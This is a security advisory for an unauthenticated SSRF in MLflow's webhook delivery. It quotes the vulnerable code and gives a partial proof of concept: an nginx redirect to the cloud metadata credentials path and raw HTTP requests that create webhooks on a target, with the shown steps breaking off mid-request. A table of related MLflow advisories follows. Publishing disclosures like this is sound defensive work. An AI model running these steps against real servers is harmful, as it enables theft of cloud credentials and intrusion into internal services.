MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
Critical9.3CVE-2026-64849 · Published Aug 17, 2026 · updated Aug 21, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| mlflow PyPI | < 3.15.0 | 3.15.0 |
Details and references
### Summary The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server. ### Details Three facts combine: 1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default. 2. The guard validates but pins nothing , `mlflow/utils/validation.py` `_validate_webhook_url`: ```python schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata ``` The resolved IP is never carried into the connection. 3. Delivery follows redirects and re-resolves with no pinning , mlflow/webhooks/delivery.py: ```python def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated ``` test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. ### PoC All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the `/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 , negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) <img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" /> Step 1 , create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-918
- Also known as
- BIT-mlflow-2026-64849, CVE-2026-64849, PYSEC-2026-3687
More MLflow advisories
All MLflow| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Aug 5 | MLflow AI Gateway permits SSRF through an unvalidated api_base CVE-2026-71211High7.1no fix yet | High7.1 | No fix yet |
| Sep 1 | MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False safety control bypassed by mlflow.statsmodels flavor , RCE via crafted model artifact GHSA-gqvg-gmmx-x4hmHigh8.8fixed in 3.15.0 | High8.8 | 3.15.0 |
| Jul 2 | MLflow: trace API endpoints lack proper authorization validators CVE-2026-8147High8.1fixed in 3.13.0rc0 | High8.1 | 3.13.0rc0 |
| Jun 4 | MLflow: Deterministic sampling in dataset digest enables predictable collisions CVE-2026-10803Low3.6fixed in 3.10.1 | Low3.6 | 3.10.1 |
| Jun 3 | MLflow: Environment variable injection in AI Gateway secrets enables server-side credential exfiltration CVE-2026-4035Critical9.1fixed in 3.11.0 | Critical9.1 | 3.11.0 |
| Jun 2 | MLflow: Any authenticated user can enumerate all gateway secrets, endpoints, and model definitions CVE-2026-3198Medium6.5fixed in 3.11.0rc0 | Medium6.5 | 3.11.0rc0 |